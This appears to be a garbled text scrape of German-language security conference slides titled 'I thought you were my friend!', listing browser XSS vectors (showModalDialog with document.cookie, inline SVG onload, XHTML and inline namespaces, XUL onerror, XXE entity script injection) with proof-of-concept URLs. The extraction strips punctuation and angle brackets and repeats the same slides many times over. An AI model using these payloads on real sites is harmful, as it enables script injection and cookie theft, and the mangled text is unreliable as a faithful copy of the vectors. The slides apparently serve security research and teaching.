lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 11: I thought you were my friend!

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 12: I thought you were my friend!

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 13: I thought you were my friend!

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 14: I thought you were my friend!

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 15: I thought you were my friend!

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 16: I thought you were my friend!

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 17: I thought you were my friend!

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 18: I thought you were my friend!

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 19: I thought you were my friend!

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 20: I thought you were my friend!

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 21: I thought you were my friend!

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 22: I thought you were my friend!

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC